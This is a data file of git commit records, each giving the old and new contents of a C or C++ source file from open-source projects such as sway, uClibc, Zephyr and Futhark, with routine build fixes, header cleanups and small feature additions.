{"commit":"37e51a20cc9f3ff9afebdabdcd3a82b9a08d3302","old_file":"sway\/commands\/create_output.c","new_file":"sway\/commands\/create_output.c","old_contents":"#include <wlr\/backend\/multi.h>\n#include <wlr\/backend\/wayland.h>\n#include <wlr\/backend\/x11.h>\n#include \"sway\/commands.h\"\n#include \"sway\/server.h\"\n#include \"log.h\"\n\nstatic void create_output(struct wlr_backend *backend, void *data) {\n\tbool *done = data;\n\tif (*done) {\n\t\treturn;\n\t}\n\n\tif (wlr_backend_is_wl(backend)) {\n\t\twlr_wl_output_create(backend);\n\t\t*done = true;\n\t} else if (wlr_backend_is_x11(backend)) {\n\t\twlr_x11_output_create(backend);\n\t\t*done = true;\n\t}\n}\n\n\/**\n * This command is intended for developer use only.\n *\/\nstruct cmd_results *cmd_create_output(int argc, char **argv) {\n\tsway_assert(wlr_backend_is_multi(server.backend),\n\t\t\t\"Expected a multi backend\");\n\n\tbool done = false;\n\twlr_multi_for_each_backend(server.backend, create_output, &done);\n\n\tif (!done) {\n\t\treturn cmd_results_new(CMD_INVALID, \"create_output\",\n\t\t\t\t\"Can only create outputs for Wayland or X11 backends\");\n\t}\n\n\treturn cmd_results_new(CMD_SUCCESS, NULL, NULL);\n}\n","new_contents":"#include <wlr\/config.h>\n#include <wlr\/backend\/multi.h>\n#include <wlr\/backend\/wayland.h>\n#ifdef WLR_HAS_X11_BACKEND\n#include <wlr\/backend\/x11.h>\n#endif\n#include \"sway\/commands.h\"\n#include \"sway\/server.h\"\n#include \"log.h\"\n\nstatic void create_output(struct wlr_backend *backend, void *data) {\n\tbool *done = data;\n\tif (*done) {\n\t\treturn;\n\t}\n\n\tif (wlr_backend_is_wl(backend)) {\n\t\twlr_wl_output_create(backend);\n\t\t*done = true;\n\t}\n#ifdef WLR_HAS_X11_BACKEND\n\telse if (wlr_backend_is_x11(backend)) {\n\t\twlr_x11_output_create(backend);\n\t\t*done = true;\n\t}\n#endif\n}\n\n\/**\n * This command is intended for developer use only.\n *\/\nstruct cmd_results *cmd_create_output(int argc, char **argv) {\n\tsway_assert(wlr_backend_is_multi(server.backend),\n\t\t\t\"Expected a multi backend\");\n\n\tbool done = false;\n\twlr_multi_for_each_backend(server.backend, create_output, &done);\n\n\tif (!done) {\n\t\treturn cmd_results_new(CMD_INVALID, \"create_output\",\n\t\t\t\t\"Can only create outputs for Wayland or X11 backends\");\n\t}\n\n\treturn cmd_results_new(CMD_SUCCESS, NULL, NULL);\n}\n","subject":"Fix compilation against wlroots without X11 backend","message":"Fix compilation against wlroots without X11 backend\n","lang":"C","license":"mit","repos":"ascent12\/sway,1ace\/sway,SirCmpwn\/sway,ascent12\/sway,1ace\/sway,ascent12\/sway,1ace\/sway"}
{"commit":"003bca2cb254ad4712d4aad3bcf14ed62b48be19","old_file":"RobotC\/Headers\/Helper.h","new_file":"RobotC\/Headers\/Helper.h","old_contents":"#ifndef HELPER_H\n#define HELPER_H\n\n\/*Helper function for calculating ABSOLUTE maximum of two floats\n  Will return maximum absolute value (ignores sign) *\/\nfloat helpFindMaxAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs > bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Helper function for calculating ABSOLUTE minimum of two floats\n\/\/Will return minimum absolute value (ignores sign)\nfloat helpFindMinAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs < bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Helper function for calculating contraints of a float\nfloat constrain(float x, float lowerBound, float upperBound){\n\tif(x<lowerBound){\n\t\treturn lowerBound;\n\t}else if(x>upperBound){\n\t\treturn upperBound;\n\t}else{\n\t\treturn x;\n\t}\n}\n\n#endif\n","new_contents":"#ifndef HELPER_H\n#define HELPER_H\n#pragma systemFile\n\n\/*Helper function for calculating ABSOLUTE maximum of two floats\n  Will return maximum absolute value (ignores sign) *\/\nfloat helpFindMaxAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs > bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Helper function for calculating ABSOLUTE minimum of two floats\n\/\/Will return minimum absolute value (ignores sign)\nfloat helpFindMinAbsFloat(float a, float b) {\n\tfloat aAbs = abs(a);\n\tfloat bAbs = abs(b);\n\tif (aAbs < bAbs) {\n\t\treturn aAbs;\n\t} else {\n\t\treturn bAbs;\n\t}\n}\n\n\/\/Helper function for calculating contraints of a float\nfloat constrain(float x, float lowerBound, float upperBound){\n\tif(x<lowerBound){\n\t\treturn lowerBound;\n\t}else if(x>upperBound){\n\t\treturn upperBound;\n\t}else{\n\t\treturn x;\n\t}\n}\n\n#endif\n","subject":"Add systemFile declaration to helper library","message":"Add systemFile declaration to helper library\n","lang":"C","license":"mit","repos":"RMRobotics\/FTC_5421_2014-2015,RMRobotics\/FTC_5421_2014-2015"}
{"commit":"4220192f474cce95ed3a83f7dd79692fb5ca1432","old_file":"MdeModulePkg\/Library\/ExtendedIfrSupportLib\/LibraryInternal.h","new_file":"MdeModulePkg\/Library\/ExtendedIfrSupportLib\/LibraryInternal.h","old_contents":"\/** @file\r\n  The file contain all library function for Ifr Operations.\r\n\r\nCopyright (c) 2007 - 2008, Intel Corporation. <BR>\r\nAll rights reserved. This program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _IFRLIBRARY_INTERNAL_H_\r\n#define _IFRLIBRARY_INTERNAL_H_\r\n\r\n\r\n#include <Uefi.h>\r\n\r\n#include <Guid\/GlobalVariable.h>\r\n#include <Protocol\/DevicePath.h>\r\n#include <Protocol\/HiiDatabase.h>\r\n#include <Protocol\/HiiString.h>\r\n\r\n#include <Library\/DebugLib.h>\r\n#include <Library\/BaseMemoryLib.h>\r\n#include <Library\/UefiRuntimeServicesTableLib.h>\r\n#include <Library\/UefiBootServicesTableLib.h>\r\n#include <Library\/BaseLib.h>\r\n#include <Library\/DevicePathLib.h>\r\n#include <Library\/MemoryAllocationLib.h>\r\n#include <Library\/IfrSupportLib.h>\r\n#include <Library\/PcdLib.h>\r\n\r\n#include <MdeModuleHii.h>\r\n\r\nextern EFI_GUID mIfrVendorGuid;\r\n\r\n#endif\r\n","new_contents":"\/** @file\r\n  The file contain all library function for Ifr Operations.\r\n\r\nCopyright (c) 2007 - 2008, Intel Corporation. <BR>\r\nAll rights reserved. This program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _IFRLIBRARY_INTERNAL_H_\r\n#define _IFRLIBRARY_INTERNAL_H_\r\n\r\n\r\n#include <Uefi.h>\r\n\r\n#include <Protocol\/DevicePath.h>\r\n#include <Protocol\/HiiDatabase.h>\r\n#include <Protocol\/HiiString.h>\r\n\r\n#include <Library\/DebugLib.h>\r\n#include <Library\/BaseMemoryLib.h>\r\n#include <Library\/UefiRuntimeServicesTableLib.h>\r\n#include <Library\/UefiBootServicesTableLib.h>\r\n#include <Library\/BaseLib.h>\r\n#include <Library\/DevicePathLib.h>\r\n#include <Library\/MemoryAllocationLib.h>\r\n#include <Library\/IfrSupportLib.h>\r\n#include <Library\/PcdLib.h>\r\n\r\n#include <MdeModuleHii.h>\r\n\r\nextern EFI_GUID mIfrVendorGuid;\r\n\r\n#endif\r\n","subject":"Remove over specific header file.","message":"Remove over specific header file.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@6393 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"0397724420b14c35c7cd88dc6580bf780c2509e4","old_file":"rts\/c\/tuning.h","new_file":"rts\/c\/tuning.h","old_contents":"\/\/ Start of tuning.h.\n\nstatic char* load_tuning_file(const char *fname,\n                              void *cfg,\n                              int (*set_size)(void*, const char*, size_t)) {\n  const int max_line_len = 1024;\n  char* line = (char*) malloc(max_line_len);\n\n  FILE *f = fopen(fname, \"r\");\n\n  if (f == NULL) {\n    snprintf(line, max_line_len, \"Cannot open file: %s\", strerror(errno));\n    return line;\n  }\n\n  int lineno = 0;\n  while (fgets(line, max_line_len, f) != NULL) {\n    lineno++;\n    char *eql = strstr(line, \"=\");\n    if (eql) {\n      *eql = 0;\n      int value = atoi(eql+1);\n      if (set_size(cfg, line, value) != 0) {\n        strncpy(eql+1, line, max_line_len-strlen(line)-1);\n        snprintf(line, max_line_len, \"Unknown name '%s' on line %d.\", eql+1, lineno);\n        return line;\n      }\n    } else {\n      snprintf(line, max_line_len, \"Invalid line %d (must be of form 'name=int').\",\n               lineno);\n      return line;\n    }\n  }\n\n  free(line);\n\n  return NULL;\n}\n\n\/\/ End of tuning.h.\n","new_contents":"\/\/ Start of tuning.h.\n\nstatic char* load_tuning_file(const char *fname,\n                              void *cfg,\n                              int (*set_size)(void*, const char*, size_t)) {\n  const int max_line_len = 1024;\n  char* line = (char*) malloc(max_line_len);\n\n  FILE *f = fopen(fname, \"r\");\n\n  if (f == NULL) {\n    snprintf(line, max_line_len, \"Cannot open file: %s\", strerror(errno));\n    return line;\n  }\n\n  int lineno = 0;\n  while (fgets(line, max_line_len, f) != NULL) {\n    lineno++;\n    char *eql = strstr(line, \"=\");\n    if (eql) {\n      *eql = 0;\n      int value = atoi(eql+1);\n      if (set_size(cfg, line, value) != 0) {\n        char* err = (char*) malloc(max_line_len + 50);\n        snprintf(err, max_line_len + 50, \"Unknown name '%s' on line %d.\", line, lineno);\n        free(line);\n        return err;\n      }\n    } else {\n      snprintf(line, max_line_len, \"Invalid line %d (must be of form 'name=int').\",\n               lineno);\n      return line;\n    }\n  }\n\n  free(line);\n\n  return NULL;\n}\n\n\/\/ End of tuning.h.\n","subject":"Fix error for short names","message":"Fix error for short names\n","lang":"C","license":"isc","repos":"diku-dk\/futhark,HIPERFIT\/futhark,diku-dk\/futhark,diku-dk\/futhark,HIPERFIT\/futhark,HIPERFIT\/futhark,diku-dk\/futhark,diku-dk\/futhark"}
{"commit":"2638a56fd95710ec7f68131dfefa233a7bdab94f","old_file":"egroot\/src\/bits\/leadingzeros-cortexm+.h","new_file":"egroot\/src\/bits\/leadingzeros-cortexm+.h","old_contents":"\/\/ +build cortexm3 cortexm4 cortexm4f\n\nstatic inline\nuint bits$leadingZeros32(uint32 u) {\n\tuint n;\n\tasm volatile (\"clz %0, %1\" : \"=r\" (n) : \"r\" (u));\n\treturn n;\n}\n\nstatic inline\nuint bits$leadingZerosPtr(uintptr u) {\n\tuint n;\n\tasm volatile (\"clz %0, %1\" : \"=r\" (n) : \"r\" (u));\n\treturn n;\n}\n\nstatic inline\nuint bits$leadingZeros64(uint64 u) {\n\tuint n;\n\tasm volatile (\n\t\t\"clz %0, %R1\\n\\t\"\n\t\t\"cmp %0, 32\\n\\t\"\n\t\t\"itt eq\\n\\t\"\n\t\t\"clzeq %0, %Q1\\n\\t\"\n\t\t\"addeq %0, 32\\n\\t\"\n\t\t: \"=&r\" (n)\n\t\t: \"r\" (u)\n\t\t: \"cc\"\n\t);\n\treturn n;\n}","new_contents":"\/\/ +build cortexm3 cortexm4 cortexm4f\n\nuint\nbits$leadingZeros32(uint32 u) {\n\tuint n;\n\tasm volatile (\"clz %0, %1\":\"=r\" (n):\"r\"(u));\n\treturn n;\n}\n\nuint\nbits$leadingZerosPtr(uintptr u) {\n\tuint n;\n\tasm volatile (\"clz %0, %1\":\"=r\" (n):\"r\"(u));\n\treturn n;\n}\n\nuint\nbits$leadingZeros64(uint64 u) {\n\tuint n;\n\tasm volatile (\"clz %0, %R1\\n\\t\"\n\t\t\"cmp %0, 32\\n\\t\"\n\t\t\"itt eq\\n\\t\"\n\t\t\"clzeq %0, %Q1\\n\\t\"\n\t\t\"addeq %0, 32\\n\\t\"\n\t\t:\"=&r\" (n)\n\t\t:\"r\"(u)\n\t\t:\"cc\");\n\treturn n;\n}\n","subject":"Remove \"static inline\" from C code.","message":"bits: Remove \"static inline\" from C code.\n","lang":"C","license":"bsd-3-clause","repos":"ziutek\/emgo,ziutek\/emgo,ziutek\/emgo,ziutek\/emgo"}
{"commit":"c1c1a4f9cd97d81cca1306ebb6c3099313fd9ea2","old_file":"libc\/sysdeps\/linux\/arm\/aeabi_memclr.c","new_file":"libc\/sysdeps\/linux\/arm\/aeabi_memclr.c","old_contents":"\/* Copyright (C) 2005 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#include <string.h>\n\nlibc_hidden_proto(bzero)\n\n\/* Clear memory.  Can't alias to bzero because it's not defined in the\n   same translation unit.  *\/\nvoid\n__aeabi_memclr (void *dest, size_t n)\n{\n  bzero (dest, n);\n}\n\n\/* Versions of the above which may assume memory alignment.  *\/\nstrong_alias (__aeabi_memclr, __aeabi_memclr4)\nstrong_alias (__aeabi_memclr, __aeabi_memclr8)\n","new_contents":"\/* Copyright (C) 2005 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#include <string.h>\n\nlibc_hidden_proto(memset)\n\n\/* Clear memory.  Can't alias to bzero because it's not defined in the\n   same translation unit.  *\/\nvoid\n__aeabi_memclr (void *dest, size_t n)\n{\n  memset (dest, 0, n);\n}\n\n\/* Versions of the above which may assume memory alignment.  *\/\nstrong_alias (__aeabi_memclr, __aeabi_memclr4)\nstrong_alias (__aeabi_memclr, __aeabi_memclr8)\n","subject":"Use memset instead of bzero","message":"Use memset instead of bzero\n","lang":"C","license":"lgpl-2.1","repos":"foss-for-synopsys-dwc-arc-processors\/uClibc,majek\/uclibc-vx32,m-labs\/uclibc-lm32,ysat0\/uClibc,waweber\/uclibc-clang,hjl-tools\/uClibc,atgreen\/uClibc-moxie,wbx-github\/uclibc-ng,brgl\/uclibc-ng,ffainelli\/uClibc,kraj\/uClibc,klee\/klee-uclibc,foss-xtensa\/uClibc,mephi42\/uClibc,gittup\/uClibc,brgl\/uclibc-ng,mephi42\/uClibc,czankel\/xtensa-uclibc,ffainelli\/uClibc,OpenInkpot-archive\/iplinux-uclibc,majek\/uclibc-vx32,hjl-tools\/uClibc,OpenInkpot-archive\/iplinux-uclibc,hwoarang\/uClibc,czankel\/xtensa-uclibc,OpenInkpot-archive\/iplinux-uclibc,groundwater\/uClibc,groundwater\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,ddcc\/klee-uclibc-0.9.33.2,groundwater\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,kraj\/uclibc-ng,skristiansson\/uClibc-or1k,kraj\/uclibc-ng,czankel\/xtensa-uclibc,ysat0\/uClibc,ChickenRunjyd\/klee-uclibc,klee\/klee-uclibc,m-labs\/uclibc-lm32,kraj\/uClibc,kraj\/uClibc,brgl\/uclibc-ng,waweber\/uclibc-clang,hjl-tools\/uClibc,mephi42\/uClibc,ChickenRunjyd\/klee-uclibc,m-labs\/uclibc-lm32,groundwater\/uClibc,wbx-github\/uclibc-ng,ysat0\/uClibc,ChickenRunjyd\/klee-uclibc,ffainelli\/uClibc,skristiansson\/uClibc-or1k,foss-xtensa\/uClibc,kraj\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,skristiansson\/uClibc-or1k,hwoarang\/uClibc,majek\/uclibc-vx32,m-labs\/uclibc-lm32,gittup\/uClibc,waweber\/uclibc-clang,ndmsystems\/uClibc,foss-xtensa\/uClibc,ddcc\/klee-uclibc-0.9.33.2,majek\/uclibc-vx32,mephi42\/uClibc,hjl-tools\/uClibc,skristiansson\/uClibc-or1k,brgl\/uclibc-ng,klee\/klee-uclibc,ffainelli\/uClibc,kraj\/uclibc-ng,klee\/klee-uclibc,ChickenRunjyd\/klee-uclibc,gittup\/uClibc,waweber\/uclibc-clang,ndmsystems\/uClibc,atgreen\/uClibc-moxie,atgreen\/uClibc-moxie,ddcc\/klee-uclibc-0.9.33.2,kraj\/uClibc,groundwater\/uClibc,hwoarang\/uClibc,ndmsystems\/uClibc,hjl-tools\/uClibc,gittup\/uClibc,wbx-github\/uclibc-ng,czankel\/xtensa-uclibc,ndmsystems\/uClibc,hwoarang\/uClibc,atgreen\/uClibc-moxie,OpenInkpot-archive\/iplinux-uclibc,wbx-github\/uclibc-ng,ddcc\/klee-uclibc-0.9.33.2,foss-xtensa\/uClibc,ysat0\/uClibc"}
{"commit":"965d247d41bffde43572c81575a0915f53fa9b04","old_file":"phraser\/cc\/analysis\/analysis_options.h","new_file":"phraser\/cc\/analysis\/analysis_options.h","old_contents":"#ifndef CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n#define CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n\n#include <cstddef>\n\nstruct AnalysisOptions {\n    AnalysisOptions() :\n        destutter_max_consecutive(3),\n        replace_html_entities(true)\n    {}\n\n    \/\/ Preprocessing.\n    size_t destutter_max_consecutive;\n\n    \/\/ Tokenization.\n    bool replace_html_entities;\n};\n\n#endif  \/\/ CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n","new_contents":"#ifndef CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n#define CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n\n#include <cstddef>\n\nstruct AnalysisOptions {\n    AnalysisOptions() :\n        track_index_translation(true),\n        destutter_max_consecutive(3),\n        track_chr2drop(true),\n        replace_html_entities(true)\n    {}\n\n    \/\/ General flags:\n    \/\/ * Map tokens to spans in the original text.\n    bool track_index_translations;\n\n    \/\/ Preprocessing flags:\n    \/\/ * Maximum number of consecutive code points before we start dropping them.\n    \/\/ * Whether to keep track of code point drop counts from destuttering.\n    size_t destutter_max_consecutive;\n    bool track_chr2drop;\n\n    \/\/ Tokenization flags:\n    \/\/ * Whether to replace HTML entities in the text with their Unicode\n    \/\/   equivalents.\n    bool replace_html_entities;\n};\n\n#endif  \/\/ CC_ANALYSIS_ANALYSIS_OPTIONS_H_\n","subject":"Add track_* flags to analysis options to let caller strip it down.","message":"Add track_* flags to analysis options to let caller strip it down.\n","lang":"C","license":"mit","repos":"knighton\/phraser,escherba\/phraser,knighton\/phraser,escherba\/phraser,knighton\/phraser,escherba\/phraser,knighton\/phraser,escherba\/phraser"}
{"commit":"ff6f5a4817adb4e2f2220a65478e50a89d4090b1","old_file":"src\/readstat_iconv.h","new_file":"src\/readstat_iconv.h","old_contents":"#include <iconv.h>\n\n#ifdef WIN32\ntypedef const char ** readstat_iconv_inbuf_t;\n#else\ntypedef char ** readstat_iconv_inbuf_t;\n#endif\n\ntypedef struct readstat_charset_entry_s {\n    int     code;\n    char    name[32];\n} readstat_charset_entry_t;\n","new_contents":"#include <iconv.h>\n\n#ifdef WINICONV_CONST\ntypedef const char ** readstat_iconv_inbuf_t;\n#else\ntypedef char ** readstat_iconv_inbuf_t;\n#endif\n\ntypedef struct readstat_charset_entry_s {\n    int     code;\n    char    name[32];\n} readstat_charset_entry_t;\n","subject":"Fix iconv warnings on MinGW","message":"Fix iconv warnings on MinGW\n","lang":"C","license":"mit","repos":"WizardMac\/ReadStat,ivarref\/ReadStat,ivarref\/ReadStat,WizardMac\/ReadStat"}
{"commit":"54b6878579d2244eead688151cc0b5418fd512dd","old_file":"include\/adapters\/libuvadapter.h","new_file":"include\/adapters\/libuvadapter.h","old_contents":"","new_contents":"\/\/ Author: Hong Jen-Yee (PCMan) (pcman.hong@appier.com)\n\n#ifndef __libredisCluster_adapters_libuvadapter_h__\n#define __libredisCluster_adapters_libuvadapter_h__\n\n#include \"adapter.h\"  \/\/ for Adapter\n\nextern \"C\"\n{\n#include <hiredis\/adapters\/libuv.h>  \/\/ for redisLibeventAttach()\n}\n\nnamespace RedisCluster\n{\n    \/\/ Wrap hiredis libuv adapter.\n    class LibUvAdapter : public Adapter\n    {\n    public:\n        explicit LibUvAdapter( uv_loop_t* loop = uv_default_loop() ) : loop_( loop ) {}\n        virtual ~LibUvAdapter() {}\n\n    public:\n        virtual int attachContext( redisAsyncContext &ac ) override\n        {\n            return redisLibuvAttach( &ac, loop_ );\n        }\n\n    private:\n        uv_loop_t* loop_;\n    };  \/\/ class Adapter\n}  \/\/ namespace RedisCluster\n\n#endif  \/\/ __libredisCluster_adapters_libuvadapter_h__\n","subject":"Add hiredis libuv adapter support.","message":"Add hiredis libuv adapter support.\n","lang":"C","license":"bsd-3-clause","repos":"shinberg\/cpp-hiredis-cluster"}
{"commit":"c07827f2d82d7eaa18ab5945b6fe44589650bbc9","old_file":"include\/dt-bindings\/clock\/kinetis_sim.h","new_file":"include\/dt-bindings\/clock\/kinetis_sim.h","old_contents":"\/*\n * Copyright (c) 2017, NXP\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_KINETIS_SIM_H_\n#define ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_KINETIS_SIM_H_\n\n#define KINETIS_SIM_CORESYS_CLK\t\t0\n#define KINETIS_SIM_PLATFORM_CLK\t1\n#define KINETIS_SIM_BUS_CLK\t\t2\n#define KINETIS_SIM_LPO_CLK\t\t19\n\n#endif \/* ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_KINETIS_SIM_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2017, NXP\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_KINETIS_SIM_H_\n#define ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_KINETIS_SIM_H_\n\n#define KINETIS_SIM_CORESYS_CLK\t\t0\n#define KINETIS_SIM_PLATFORM_CLK\t1\n#define KINETIS_SIM_BUS_CLK\t\t2\n#define KINETIS_SIM_FAST_PERIPHERAL_CLK\t5\n#define KINETIS_SIM_LPO_CLK\t\t19\n\n#endif \/* ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_KINETIS_SIM_H_ *\/\n","subject":"Add support for fast peripheral clock in mcux sim driver","message":"clock_control: Add support for fast peripheral clock in mcux sim driver\n\nAdds support for getting the fast peripheral clock frequency in the mcux\nsim driver.\n\nSigned-off-by: Filip Brozovic <9e406e4eada0a466898ca20f2c830a2e8d7bc324@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"Vudentz\/zephyr,galak\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,nashif\/zephyr,nashif\/zephyr,galak\/zephyr,finikorg\/zephyr,galak\/zephyr,galak\/zephyr,Vudentz\/zephyr,nashif\/zephyr,finikorg\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,galak\/zephyr"}
{"commit":"3da1a1dde53b3efeb54ab1c68fba7d85dac4ac20","old_file":"utils\/prompt.h","new_file":"utils\/prompt.h","old_contents":"#ifndef _WISH_PROMPT\n#define _WISH_PROMPT\n\n\/*\n * The wish shell prompt has its own format characters, much like how bash,\n * zsh, fish, and ksh all have their own formatting characters.\n *\n * %u       - The username of the current user\n * %h       - The hostname\n * %d~n     - The top n levels of the working directory. If n is not provided\n *            then the entire working directory is displayed. (i.e. %d, %d~2)\n *            This assumes that 0 <= n <= 9.\n * %t       - The time in 24 hour format\n * %T       - The time in 12 hour (AM\/PM) format\n * %%       - The percent symbol\n *\n *\n * NOTES:\n *\n * If there is a % at the end of the prompt, it will be implied that it is %%.\n * An unrecognized formatting character will be interpretted literally.\n *\/\n\nchar *PROMPT;\n\nchar *get_format_substitution(char *prompt_var);\n\nvoid load_prompt_defaults();\nvoid load_prompt_config();\nvoid prompt(char *current_working_dir);\n\n#endif\n","new_contents":"#ifndef _WISH_PROMPT\n#define _WISH_PROMPT\n\n\/*\n * The wish shell prompt has its own format characters, much like how bash,\n * zsh, fish, and ksh all have their own formatting characters.\n *\n * %u       - The username of the current user\n * %h       - The hostname\n * %d~n     - The top n levels of the working directory. If n is not provided\n *            then the entire working directory is displayed. (i.e. %d, %d~2)\n *            This assumes that 0 <= n <= 9.\n * %t       - The time in 24 hour format\n * %T       - The time in 12 hour (AM\/PM) format\n * %%       - The percent symbol\n *\n *\n * NOTES:\n *\n * If there is a % at the end of the prompt, it will be implied that it is %%.\n * An unrecognized formatting character will be interpretted literally.\n *\/\n\nchar *PROMPT;\n\nchar *get_format_substitution(char *prompt_var);\n\nvoid load_prompt_defaults();\nvoid load_prompt_config();\nvoid prompt(char *current_working_dir);\n\n#endif\n\n#ifndef HOST_NAME_MAX\n#define HOST_NAME_MAX 255\n#endif\n\n","subject":"Fix HOST_NAME_MAX not found error on Mac OSX. POSIX compliance pls.","message":"Fix HOST_NAME_MAX not found error on Mac OSX. POSIX compliance pls.\n","lang":"C","license":"mit","repos":"elc1798\/wish"}
{"commit":"b491a3e6156e450810e3d9a8c2d59365606dd208","old_file":"hal2.h","new_file":"hal2.h","old_contents":"#ifndef HAL2_H\n#define HAL2_H\n\n\/\/ Mechanical constants\n\nextern int const MAIN_MOTOR_PWM_TOP = 255;\nextern int const MAIN_MOTOR_BRAKE_SPEED = 120;\nextern int const MAIN_MOTOR_MIN_SPEED = 150;\nextern int const MAIN_MOTOR_MED_SPEED = 254;\nextern int const MAIN_MOTOR_MAX_SPEED = 255;\nextern int const MAGNET_OPEN_WAIT = 5;\t\t\/\/ 10ths of a second\n\nvoid init(void);\n\nvoid main_motor_stop();\nvoid main_motor_cw_open(uint8_t speed);\nvoid main_motor_ccw_close(uint8_t speed);\nvoid set_main_motor_speed(int speed);\nint get_main_motor_speed();\nvoid aux_motor_stop();\nvoid aux_motor_cw_close();\nvoid aux_motor_ccw_open();\nvoid magnet_off();\nvoid magnet_on();\nbool door_nearly_open();\nbool door_fully_open();\nbool door_fully_closed();\n\nbool sensor_proximity();\nbool button_openclose();\nbool button_stop();\nbool main_encoder();\nbool aux_outdoor_limit();\nbool aux_indoor_limit();\nbool door_nearly_closed();\nbool aux_encoder();\n\n#endif\n","new_contents":"#ifndef HAL2_H\n#define HAL2_H\n\n\/\/ Mechanical constants\n\nextern int const MAIN_MOTOR_PWM_TOP = 255;\nextern int const MAIN_MOTOR_BRAKE_SPEED = 120;\nextern int const MAIN_MOTOR_MIN_SPEED = 150;\nextern int const MAIN_MOTOR_MED_SPEED = 254;\nextern int const MAIN_MOTOR_MAX_SPEED = 255;\nextern int const MAGNET_OPEN_WAIT = 5;\t\t\/\/ 10ths of a second\n\nvoid init(void);\n\nvoid main_motor_stop();\nvoid main_motor_cw_open(uint8_t speed);\nvoid main_motor_ccw_close(uint8_t speed);\nvoid aux_motor_stop();\nvoid aux_motor_cw_close();\nvoid aux_motor_ccw_open();\nvoid magnet_off();\nvoid magnet_on();\nbool door_nearly_open();\nbool door_fully_open();\nbool door_fully_closed();\n\nbool sensor_proximity();\nbool button_openclose();\nbool button_stop();\nbool main_encoder();\nbool aux_outdoor_limit();\nbool aux_indoor_limit();\nbool door_nearly_closed();\nbool aux_encoder();\n\n#endif\n","subject":"Remove functions that are private.","message":"Remove functions that are private.\n","lang":"C","license":"unlicense","repos":"plzz\/ovisysteemi,plzz\/ovisysteemi"}
